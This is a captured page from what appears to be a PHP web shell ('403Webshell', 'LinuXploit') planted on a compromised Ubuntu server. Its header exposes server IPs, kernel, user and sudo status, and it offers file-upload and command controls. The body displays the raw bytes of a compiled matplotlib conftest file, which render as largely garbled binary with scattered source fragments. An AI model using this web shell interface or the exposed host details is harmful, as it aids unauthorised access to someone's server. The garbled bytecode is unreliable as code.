403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.52
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/matplotlib/testing/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/matplotlib/testing/__pycache__/conftest.cpython-312.pyc
�

G8�c9���ddlZddlZddlZddlmZmZd�Zd�Zejd��d��Zejejdd	�
�d���Z
ejd��Zejd
��Zy)�N)�_api�cbookc��dD]\}}|j||��tjdd��dt_tj�y)N)	)�markersz*flaky: (Provided by pytest-rerunfailures.))rz&timeout: (Provided by pytest-timeout.))rz6backend: Set alternate Matplotlib backend temporarily.)rz?style: Set alternate Matplotlib style temporarily (deprecated).)rz3baseline_images: Compare output against references.)rz.pytz: Tests that require pytz to be installed.)�filterwarnings�error)rz?ignore:.*The py23 module has been deprecated:DeprecationWarning)rz]ignore:DynamicImporter.find_spec\(\) not found; falling back to find_module\(\):ImportWarning�aggT)�force)�addinivalue_line�
matplotlib�use�_called_from_pytest�_init_tests)�config�key�values   �=/usr/lib/python3/dist-packages/matplotlib/testing/conftest.py�pytest_configurersM��
�,�
��U�	����U�+�,�"�N�N�5��%�%)�J�"�����c��dt_y)NF)rr)rs r�pytest_unconfigurer"s
��%*�J�"rT)�autousec	#�K�ddlm}|�5d}|jjd�}t	j
�}|��t
|j�dk(sJd��|j\}|jjdd�}|j�jd�r'td	�d
D��rtjd�dd
g}|jjd�}|�Ft
|j�dk(sJd��tj dddd��|j\}tj"j%�tj&�5|�ddlm}	|j-|�tj2j5|�ddd�	d��t	j4|�	ddd�y#t.$rE}	d|j�vsr&tjdj1||	��n�Yd}	~	��d}	~	wwxYw#1swY�~xYw#t	j4|�wxYw#1swYyxYw�w)Nr)�_cleanup_cm�backend�z(Marker 'backend' must specify 1 backend.�skip_on_importerrorF�qt5c3�ZK�|]#}tjj|����%y�w)N)�sys�modules�get)�.0�ks  r�	<genexpr>z$mpl_test_settings.<locals>.<genexpr>8s����G�a�s�{�{���q�)�G�s�)+)�PyQt4�PySidezQt4 binding already imported�classic�_classic_test_patch�stylez$Marker 'style' must specify 1 style.�3.5z
pytest markerz@mpl.style.context(...))�name�obj_type�alternative�cairoz$Failed to switch to backend {} ({}).)�matplotlib.testing.decoratorsr�node�get_closest_markerr�get_backend�len�args�kwargsr"�lower�
startswith�any�pytest�skipr�warn_deprecated�testing�setup�'suppress_matplotlib_deprecation_warning�matplotlib.pyplot�pyplot�switch_backend�ImportError�formatr*r
)
�requestrr�backend_marker�prev_backendrr*�style_marker�plt�excs
          r�mpl_test_settingsrK&s����9�	��/)��� ���8�8��C��!�-�-�/���%��~�*�*�+�q�0�
;�:�
;�0�%�*�*�H�G�"0�"7�"7�";�";�%�u�#.���}�}��)�)�%�0��G�3F�G�G��K�K� >�?��1�2���|�|�6�6�w�?���#��|�(�(�)�Q�.�
7�6�
7�.�� � ��W��-F�
H�!�&�&�F�E���� � �"�
�
9�
9�
;�	(��"�0�	��&�&�w�/�
��� � ��'�	(� 	)���N�N�<�(�_/)�/)��F#���'�-�-�/�1�5H����$J�%+�V�G�S�%9�;��;��	��	(�	(��&
�N�N�<�(��_/)�/)�sw�I�EI	�,	H#�6G�H#�&I	�/H/�3I	�		I�	H �;H�H#�H � H#�#H,	�(I	�/I�I	�	I�Ir+�none)r.c#�K�|jjd�j\}|�|jd�}|j}tj|j||f��5d��ddd�y#1swYyxYw�w)N�baseline_images)�
parameters)r1r2r5�getfixturevalue�functionr�_setattr_cm�__wrapped__)rE�	extensionrN�funcs    r�mpl_image_comparison_parametersrV\s������|�|�6�6�7H�I�N�N��O���"�1�1�2C�D�����D�	�	�	�4�+�+�'6�	�&B�
D��
����s�A*B�,A:�1	B�:B�?Bc�l�tjd�}	ddlm}|�|S#t$rY|SwxYw)z'Fixture to import and configure pandas.�pandasr)� deregister_matplotlib_converters)r:�importorskip�pandas.plottingrYrC)�pd�
deregisters  rr\r\ssC��
�	�	�X�	&�B�
�	<����I���
��
�I�
�s�
&�	3�3c�0�tjd�}|S)zFixture to import xarray.�xarray)r:rZ)�xrs rr`r`�s��
�	�	�X�	&�B�
�Ir)
r:r rrrrr�fixturerK�
deprecatedrVr\r`�rr�<module>rds���
�
��"��6+�������2)��2)�j��������F�+��,���*���	��	������r

Youez - 2016 - github.com/yon3zu
LinuXploit